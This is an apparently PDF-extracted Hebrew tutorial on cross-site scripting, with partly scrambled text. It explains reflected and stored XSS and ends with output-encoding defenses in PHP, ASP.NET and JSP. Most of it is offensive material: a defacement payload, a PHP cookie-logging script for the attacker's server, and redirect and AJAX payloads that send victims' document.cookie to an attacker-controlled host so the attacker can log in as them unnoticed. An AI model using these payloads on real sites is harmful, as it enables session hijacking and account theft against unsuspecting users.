Cross Site Scripting (XSS) מאת: El3ct71k 3102

Transcription

Cross Site Scripting (XSS) מאת: El3ct71k 3102
‫‪Cross Site Scripting‬‬
‫)‪(XSS‬‬
‫מאת‪El3ct71k :‬‬
‫‪3102‬‬
‫פרקים‪:‬‬
‫‪.0‬‬
‫‪.3‬‬
‫‪.2‬‬
‫‪.4‬‬
‫‪.5‬‬
‫‪.6‬‬
‫‪.7‬‬
‫‪.8‬‬
‫‪.9‬‬
‫מבוא‬
‫עיקרון התקפת ‪XSS‬‬
‫יתרונות ההתקפה‬
‫גניבת נתונים באמצעות ניצול ‪XSS‬‬
‫שימוש יעיל באמצעות ‪Ajax‬‬
‫פירוט פעולות של ניצול ההתקפה‬
‫מה הולך פה?‬
‫השוואה בין ‪ XSS Stored‬לבין ‪XSS Reflected‬‬
‫דרכי התגוננות‬
‫מומלץ לפני קריאת המאמר להכיר ב‪ HTML‬ו ‪ Javascript‬באופן בסיסי על מנת להבין את המאמר באופן‬
‫שוטף‪.‬‬
‫לכל שאלה אפשר לשלוח לי למייל ואענה בכיף‪[email protected] ,‬‬
‫מבוא‬
‫‪( XSS‬ראשי תיבות של‪ )Cross-site scripting :‬היא קטגוריה של פרצות אבטחה הנמצאות‬
‫לרוב באתרי אינטרנט המאפשרים הכנסת תוכן על ידי משתמשים‪ .‬ניצול של פרצות אלו‬
‫מאפשר הזרקת קוד זדוני אל אתר אינטרנט על ידי משתמש‪ .‬כאשר משתמש תמים נכנס‬
‫לאתר האינטרנט הפרוץ‪ ,‬מחשבו של המשתמש התמים מתייחס לקוד הזדוני כאל קוד‬
‫לגיטימי של האתר הפרוץ‪ ,‬ומריץ את הקוד הזה‪ .‬מכיוון שהקוד הזדוני נחשב לקוד לגיטימי‬
‫של האתר הפרוץ‪ ,‬הוא יכול לקבל כל מידע הרלוונטי לאתר זה‪ ,‬כגון הרשאות כניסה של‬
‫המשתמש לאתר‪ .‬במקרים קיצוניים‪ ,‬למשל כאשר האתר נמצא ברשימת האתרים‬
‫שהמשתמש התמים סומך עליהם‪ ,‬ניתן גם לנצל את הפרצה להרצת קוד זדוני בהרשאות של‬
‫המשתמש עצמו‪ .‬ראשי התיבות האמיתיים של ‪ Cross-site scripting‬הם ‪ ,CSS‬אולם‬
‫מקובל כיום להשתמש בקיצור ‪ CSS‬עבור שפת הסימון ‪.Cascading Style Sheets‬‬
‫אם הייתי יכול לתת הגדרה אחרת ל ‪ XSS‬הייתי מגדיר את זה כ"אמון שגוי בדף ‪HTML‬‬
‫המיוחס כקוד לגיטימי ותקין לכל דבר"‬
‫עיקרון התקפת ‪XSS‬‬
‫ההתקפה מתבססת על סקריפטים מסויימים בשפות אינטרנט( ‪ASP, ASP.NET, JSP,‬‬
‫‪ )PHP‬אשר בדרך כתובת(‪ )GET‬או בשליחת טופס(‪ )POST‬מחדירה את אותו תוכן‬
‫שרשמת‪ ,‬ולפעמים גם התוכן ששמרת נשלח למנהל האתר ואז בכלל יש כאן חגיגה ‪‬‬
‫אתחיל בכמה דוגמאות שיסבירו לכם בבסיסיות איך ההתקפה עובדת‪ ,‬ואני מאמין שבסוף‬
‫המאמר היצירתיות שלכם תיקח אותכם רחוק‪.‬‬
‫–מנוע חיפוש‪:‬‬
‫כמו שבטח שמתם לב ‪ -‬התוכן שהקשנו בעצם "נזרק" לתוך האתר בגלל שהחיפוש שחיפשתי‬
‫לא נמצא(כמובן שאין בחיפוש של גוגל ‪ XSS‬אפשר להיות רגועים ‪)‬‬
‫אבל אם נכנס לאתר מסויים אשר לא חסם תווים מסויימים או לא הגן על החדרת "‪"html‬‬
‫לתוך האתר ברגע שאני ירשום את הרצף הבא‪:‬‬
‫>‪<script>alert('XSS BY El3ct71k');</script‬‬
‫ויעשה "חפש" התוכן שיחזור לי יראה בצורה הבאה‪:‬‬
‫בעצם הנחתי שורת קוד פשוטה ומכיוון שהאתר לא עשה חסימת תווים הקוד שרשמנו "נזרק"‬
‫לתוך האתר והמשיך את הקוד הרגיל באופן חוקי לכל דבר‬
‫יתרונות ההתקפה‬
‫ברגע שהצלחת להחדיר סקריפט לאתר הקורבן אתה תוכל להשתמש באתר שלו לצרכים‬
‫שלך‪ ,‬השאלה היא לאיזה שימושים בדקת אם הפירצה קיימת ‪‬‬
‫אתה יכול להחליף לו את כל האתר לדף לבן עם מסרים משלך (‪ )DEFACE‬בעזרת‬
‫הסקריפט הבא‪:‬‬
‫>‪<script>document.body.innerHTML='Hacked By El3ct71k'</script‬‬
‫והתוכן שיחזור הוא דף לבן עם "‪"Hacked By El3ct71k‬‬
‫גניבת נתונים באמצעות ניצול ‪XSS‬‬
‫לרוב‪ ,‬ברגע שזה אתר אשר קיימים בו משתמשים באתר אתה יכול בעזרת סקריפט פשוט "לגנוב"‬
‫עוגיות(קוקיז) ממשתמש אשר תרצה להתחבר דרכו‪,‬‬
‫ישנן ‪ 3‬סוגים של התקפת ‪ XSS‬והם שונים בכמה מובנים – ‪(XSS Stored‬תמידי) ו ‪XSS‬‬
‫‪(Reflected‬זמני) שעל ההבדלים בינהם נדבר בהמשך‬
‫בעזרת הסקריפט הבא כל משתמש אשר יכנס לאתר הקורבן עם הקישור שתתן לו הקוקיז שלו יגיע‬
‫אליך ועל ידי פעולה זו תוכל להתחבר דרך אותו משתמש מבלי לדעת את הסיסמא שלו!‬
‫הנה לדוגמא קוד קצר שכתבתי של שמירת קוקיז‪:‬‬
‫‪<?php‬‬
‫;)'‪$fp = fopen('cookies.txt', 'a+‬‬
‫;)"‪fwrite($fp, $_GET['cookies']."\r\n‬‬
‫;)‪fclose($fp‬‬
‫>?‬
‫את הקובץ הזה אתה מעלה לשרת שהוא שלך‪ ,‬ובאתר שאתה מעוניין לשאוב ממנו את כל‬
‫הקוקיז של המשתמשים שנכנסים אליואם זה ‪ XSS Stored‬הרווחת)‬
‫הדרך השקופה לגנוב קוקיז הינה פשוטה‪ ,‬אתה בעצם מפנה את אותו משתמש לכתובת‬
‫שאליה תפנה ואז בעצם ההתקפה מתגלה‪ ,‬לא לדאוג גם לזה הכנתי לכם פתרון ‪‬‬
‫>‪<script>window.location.href='http://www.yoursite.com/index.php?cookies='+document.cookie;</script‬‬
‫הסקריפט הנ"ל בעצם מפנה את כל מי שנכנס לאתר לקובץ שלך אשר שומר קוקיז ושולח לך‬
‫את הקוקיז מהאתר שהתקפת‪ ,‬אבל הדרך הזו שקופה – היא בעצם בבירור מראה שכל‬
‫הקוקיז מגיע אליך וגם ככה הוא לא יוכל לגלוש באתר וזה יתגלה מאוד מהר והדרך הבאה‬
‫שאראה לכם עובדת על טכנולוגיית ‪ AJAX‬האגדית ‪‬‬
‫שימוש יעיל באמצעות ‪Ajax‬‬
‫‪ ,AJAX‬ראשי תיבות של ‪ ,Asynchronous JavaScript And XML‬היא טכניקה ליצירת‬
‫יישומי דפדפן אינטראקטיביים המבוססים על קוד המורץ במסגרת דף ‪ HTML‬בודד‪ ,‬ולא‬
‫כיישום מרובה דפים‪ ,‬כמקובל בסביבת ה‪ .WEB‬מטרתה העיקרית של הטכניקה היא שיפור‬
‫חוויית המשתמש והאצת מהירות הטעינה של דפי האינטרנט‪ ,‬מאחר שהיא מאפשרת לעדכן‬
‫רק חלקים מבוקשים בדף האינטרנט‪ ,‬ללא צורך לטעון את הדף כולו מחדש במחשבו של‬
‫המשתמש‪.‬‬
‫‪#‬ויקיפדיה‬
‫דרך ‪ AJAX‬מתאפשרת לנו דרך להריץ את הסקריפט הזדוני שלנו בלי רענון הדף מה שאומר‬
‫שהוא לא יתגלה‪.‬‬
‫בקוד הבא אראה לכם איך זה עובד‪:‬‬
‫{ )‪function iCookies(url‬‬
‫;‪var xmlhttp‬‬
‫‪// code for IE7+, Firefox, Chrome, Opera, Safari‬‬
‫{ )‪if (window.XMLHttpRequest‬‬
‫;)(‪xmlhttp=new XMLHttpRequest‬‬
‫‪// code for IE6, IE5‬‬
‫‪} else‬‬
‫{‬
‫;)"‪xmlhttp=new ActiveXObject("Microsoft.XMLHTTP‬‬
‫}‬
‫{‬
‫)(‪xmlhttp.onreadystatechange=function‬‬
‫{ )‪if (xmlhttp.readyState==4 && xmlhttp.status==200‬‬
‫;‪document.getElementById(id).innerHTML=xmlhttp.responseText‬‬
‫}‬
‫}‬
‫;)‪xmlhttp.open("GET",url+document.cookie,true‬‬
‫;)(‪xmlhttp.send‬‬
‫}‬
‫;)"=‪iCookies("http://yoursite.com/index.php?cookies‬‬
‫בתוכן המודגש אתם מקלידים את הכתובת של הקובץ שהעלאתם שצריך לגנוב‬
‫את הקוקיז‪ ,‬וככה ההתקפה בוצעה בהצלחה בלי שאף אחד מרגיש ‪‬‬
‫פירוט פעולות של ניצול ההתקפה‬
‫צד שרת‬
‫שם משתמש וסיסמא‬
‫קוקיז‬
‫קוקיז ‪ +‬נתונים‬
‫סקריפט‬
‫משתמש‬
‫משתמש‬
‫נתונים‬
‫צד שרת‬
‫קוקיז ‪ +‬נתונים‬
‫האקר‬
‫נתונים‬
‫מה הולך פה?‬
‫כאן רשמתי לכם את סדר הפעולות המתרחשות בעצם כשהכנסתם את הסקריפט‪,‬‬
‫המשתמש התמים נכנס לאתר ומתחבר‪ ,‬ואצלו נשמר הקוקיז שמוודא שהוא מחובר‪ ,‬לאחר‬
‫מכן הסקריפט "פוגע" במשתמש וגונב את הקוקיז והנתונים לתוך הקובץ‪ ,‬וכאן האקר נכנס‬
‫לתמונה‪ ,‬הוא לוקח את רצף הדברים שנשמרו לו בקובץ‪ ,‬ועורך את הקוקיז שלו‪ ,‬לוקח את‬
‫הקוקיז של הקורבן ומתחבר דרכו‪ ,‬האימות את האישור של המשתמש הספציפי שהכנסת‬
‫וככה המערכת בעצם חושבת שאתה זה אותו משתמש תמים‪.‬‬
‫הבדלים בין ‪ XSS Stored‬לבין ‪XSS Reflected‬‬
‫ישנן שני סוגים של ‪ XSS Stored ,XSS‬ו ‪XSS Reflected‬‬
‫‪:XSS Stored‬‬
‫כשמו כן הוא‪ ,‬נשמר\מאוחסן‪ ,‬זה אומר שאותו ‪ XSS‬בעצם נשמר במסד נתונים והוא פעיל‬
‫תמיד – המצב הכי טוב שהאקר יכול לבקש‪ ,‬ההזרקה תנוצל על כל משתמש שיכנס לאתר!‬
‫רמת סיכון‪ :‬גבוהה‬
‫‪:XSS Reflected‬‬
‫‪ XSS‬זמני‪ ,‬מה שאומר שרק כאשר נעשה את פעולת הניצול הוא יפעל‪ ,‬במצב כזה אתה‬
‫תוכל לגנוב קוקיז רק ממשתמשים ספציפים אשר יקבלו את הקוד!‬
‫את היצירתיות לעשות את זה אשאיר לכם ‪‬‬
‫רמת סיכון‪ :‬בינוני‬
:XSS Reflected ‫ לבין‬XSS Stored ‫טבלת הבדלים בין‬
XSS Reflected
‫זמני‬
‫פונה למשתמש ספציפי‬
‫בינוני‬
XSS Stored
‫תמידי‬
‫פונה לכל משתמשי האתר‬
‫גבוהה‬
‫אופציות‬
‫משך זמן‬
‫פעילות‬
‫רמת סיכון‬
‫דרכי התגוננות‬
‫ על המתכנת בעצם לחסום אפשרות בפעולות האתר‬,‫צורת ההגנה היא פשוטה מאוד‬
‫ במידה ויש צורך‬,HTML‫ בכל מקום הניתן לשינוי והיכן שאין צורך ב‬HTML ‫להחדיר‬
‫ בכל צורה והצפנה‬script ,</ ,< ,> :‫במקומות מסויימים יש לחסום את התווים‬
:PHP,ASP,ASP.NET,JSP‫לפניכם צורות חסימה בשפות‬
PHP:
<?php
echo(htmlspecialchars($_GET['s']));
?>
ASP / ASP.NET:
<p><%= Server.HtmlEncode(Request.Params["s"]) %></p>
JSP:
<%!
public static String encodeHTML(String s) {
StringBuffer out = new StringBuffer();
for(int i=0; i<s.length(); i++)
{
char c = s.charAt(i);
if(c > 127 || c=='"' || c=='<' || c=='>') {
out.append("&#"+(int)c+";");
}
else {
out.append(c);
}
}
return out.toString();
}
%>
<%= encodeHTML(request.getParameter("s")) %>